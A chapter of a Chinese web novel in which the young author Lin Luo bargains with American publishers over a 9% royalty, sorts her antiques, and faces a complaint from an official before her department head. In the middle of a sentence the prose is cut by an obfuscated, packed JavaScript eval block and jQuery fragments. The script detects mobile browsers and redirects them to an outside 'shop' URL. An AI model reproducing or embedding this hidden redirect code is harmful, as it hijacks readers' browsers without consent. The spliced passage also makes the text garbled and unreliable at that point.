林华和陈红英不懂得太多,可阿美莉卡很厉害他们是知道的。如今闺女的书要在阿美莉卡出版,光是想想就能高兴得睡不着。
林华第一个发问,“小萝,你的书什么时候在阿美莉卡出版?他们是支付美元吧?那你是不是给国家创外汇了?哎呀,我闺女就是厉害。”
陈红英不住地点头,目光灼灼地望向林萝。
只有贺松年心里隐隐觉得不对,望向林萝的表情带着些许探究。
林萝将箱子一一规制好,这才起身道,“谈崩了,阿美莉卡资本家想白嫖我的作品,我没同意。”说着将当时的事儿复述了一遍。
林华愤慨道,“真是黑心的资本家!都那么有钱了,还按咱们国家的方式给钱,这不是欺负人嘛!香江那边都给版权呢,他们连香江都不如!”
“就是,大不了不在阿美莉卡出版,咱们如今赚的钱就不少,我和你爸每个月好几千呢,养得起你。”
贺松年点点头,眼里有愤慨,更多的则是担心。
林萝笑道,“没那么严重,他们大概以为我一听到在阿美莉卡出版,就会迫不及待答应。放心,过不了几天李卫东和詹姆斯就会联系我,肯定是从最低的版税谈起,一点点加价。没事儿,我有心理准备。”
事情与林萝预想得别无二致。翌日上午从人艺彩排回到燕大,李卫东首先找到林萝,表达了他和詹姆斯舅舅晚上请林萝吃饭的意思。
林萝耸耸肩,“李卫东,我可不会因为咱俩的交情,就降低版税要求。这是两码事儿,希望你不要介意。”
“这是自然,林,我听詹姆斯舅舅说了,你做得对,保罗就是个大傻蛋!我们不理他,詹姆斯舅舅也不赞成保罗提到的支付方式,不过你也知道,詹姆斯舅舅刚跳槽,在班坦图书公司还没有什么话语权。不过你放心,有我在,詹姆斯舅舅肯定是站在你这边的。”
林萝可没把这话当真,詹姆斯顶多是保罗派来试探她的罢了,见见没什么,想交心就不必了。
上完课,李卫东带着林萝再次来到燕京饭店,詹姆斯等在门口,向林萝表达了歉意,“林,原谅保罗的试探,他只是想多赚点年终奖罢了。你知道的,打工人嘛,替老板省钱才能得到青眼。”
林萝不置可否,三人来到餐厅,詹姆斯为大家一人叫了一份牛排和蔬菜沙拉,本来还想加一杯咖啡,被林萝拒绝了,“詹姆斯先生,我可不想晚上睡不着觉。”
詹姆斯耸耸肩,吩咐服务员,“两杯咖啡,一杯鲜榨果汁,谢谢。”
等没人打扰了,詹姆斯继续道,“林,听李卫东说你在燕大很照顾他,来,我替侄子敬你一杯,谢谢你将《甜蜜陷阱》和《美好生活》两本书的翻译工作交给他。”
林萝摆摆手,“不用谢,李卫东是个很好的人,我跟他交往全凭兴趣相投,翻译工作交给他,也是因为李卫东能够胜任,不然我可不会因为交情,将自己的孩子送给一个不负责任的人。”
李卫东举起酒杯,认真道,“林,这杯酒一定要喝,能够翻译《美好生活》,是我来华国这么久最骄傲的事儿,真的非常感谢你。”
林萝推辞不过,三人一起碰杯,喝过酒,又说了几句闲话,期间李卫东还问起了詹姆斯跳槽的事儿,詹姆斯解释道,“《埃勒里·奎因神秘杂志》来了新的主编,就是这么简单。”
上辈子作为牛马,林萝秒懂,不论如何,老板都是大SB。
边吃边聊,直到饭都快吃完了,詹姆斯才进入正题,问起了《美好生活》在阿美莉卡出版的事儿,“亲爱的林,你想要多少版税呢?原谅我问的这么直接,你可以说一个价格,我帮你在保罗那里争取争取,你是卫东的好朋友,我肯定是要帮助你的。”
“百分之九,詹姆斯,我想你一定看过《美好生活》了,它的质量如何不用我多说。我相信,如果这本书是阿美莉卡人写的,你们会支付不下于百分之十的版税,不过你们的规矩我知道,我是华国人嘛,大家各退一步,我要求百分之九并不过分。”
詹姆斯面露为难,解释道,“林,你可能不知道阿美莉卡那边的行情。对于新人作家,我们只会支付百分之三到百分之五的版税,而只有很好的作品才会出到百分之五。
对于已经有过畅销书的作家,版税通常在百分之五到百分之八之间。百分之九到百分之十已经是名家的版税收入了,最高的百分之十五,全阿美莉卡能拿到的也不超过十人。”
林萝耸耸肩,“我认为《美好生活》值这个价。”
见林萝坚持,詹姆斯没再继续劝说,而是想着如何跟保罗交代。餐桌上一时安静下来,好在饭也快吃完了,三人在饭店门口告别。
李卫东将林萝送回什刹海,路上悄悄对林萝说,“林,干得好。百分之九才对得起《美好生活》这篇小说,你一定要坚持下去。”
两人在小院胡同口告别,贺松年和林华夫妻早等在这边了,跟李卫东告别后,三人拉着林萝问起了晚餐的事儿。
翌日周末,林萝在家休息了一天,顺便规制杂物房的古董。作为两辈子都是劳苦大众的林萝来说,古董她是一窍不通的,之所以在友谊商店买,也是知道那里的东西都是真的,否则她可不敢涉足古董收藏领域。
在潘家园淘宝这种事儿想想就行,对她这种门外汗,不够往里面砸钱的。不过要是能遇到懂行的就好了,也不知道那些日后的收藏大家如今在干嘛呢......
贺松年在一旁打下手,看着屋子里满满当当的古物,提议道,“家里快放不下了,不然放到我爸妈买的那套院子里?”
听过林萝对未来房价的分析,贺松年开始劝父母将钱换成房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065177|191534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,贺父贺母刚开始自然是不理解的,只不过见什刹海小院住着确实不错,又宽敞又没人打扰,关键是,听林华说,四合院的价格一直在涨,两人这才开始上心,前些日子入手了一套一进院,交给了盛丹褚和贺遐年的安家装修公司拾掇,如今还空着呢。
林萝摇摇头,“不用,搬来搬去还怪麻烦的。我让爸妈再打听着吧,有机会了再买一套,专门放这些古董,还有读者来信,如今家里东西都快放不下了。”
“行,听你的。班坦那边你是怎么想的,不给百分之九就不出版了?”
“当然不是。”林萝笑道,“这本书本来就是为了宣传那段历史的,其实我的心里价位是百分之六,毕竟在阿美莉卡,我还是新人,得先证明自己的价值。而且班坦图书公司出版我的书也是要冒险的,只不过说百分之九,也是为了让班坦还价。”
贺松年点点头,担忧道,“WS部门不会找你麻烦吧?”
“找就找呗,在阿美莉卡出版这本书,可是给国家创外汇,当然能要多高就要多高了。放心,总有明白人的。”
可惜明白人往往知道得晚,小人呢,又最会告刁状。
翌日周一上学,晌午的课刚结束,林萝就被叫到系主任张德光的办公室,当日那名被林萝下了面子的WS人员也在,面无表情,眼里却能冒出火。
林萝没当回事儿,笑问系主任找她什么事儿。
张德光笑呵呵的,对于大二就能拿全国优秀短篇小说奖的学生,张德光自然是爱护的,没有因为对方是WS人员就给林萝定罪,反而问道,“小萝,WS部门的孙先生说你不顾华美外交,公然不给阿美莉卡友好人士面子,我想问问你是怎么回事。”
林萝翻了个白眼儿,将当日的事情一五一十的交代清楚,“主任,您也是写文章的,该知道在哪个国家出版,就要讲哪个国家的规矩。不能因为我是华国人,就让资本家白白占便宜吧?华国人不帮华国人,说到哪儿都不占理。”
“你!”被称为孙先生的男人脸都气红了,指着林萝道,“你这是什么态度!孔子他老人家说的真对,唯女人与小人难养也!保罗和詹姆斯可是阿美莉卡......”
林萝不耐烦的听着,白眼儿翻到飞起。
还是张德光涵养好,听了十分钟的屁话,脸上的笑一点儿没变,眼睛里的光却严厉多了,等孙先生说完,张德光道,“孙先生,你今天来说的事儿我已经了解了,如何处理林萝是燕大的事儿,就不劳孙先生插手了,请!”
WS干事孙先生气哼哼地离开张德光办公室,像一只无能狂怒的懂王,连门被甩的啪啪响这点都很像。
张德光眼角都没动一下,笑着安慰林萝,“好了,小萝先回去吧,这件事我知道了,会帮你打听打听的。放心,不会让阿美莉卡人占便宜的。”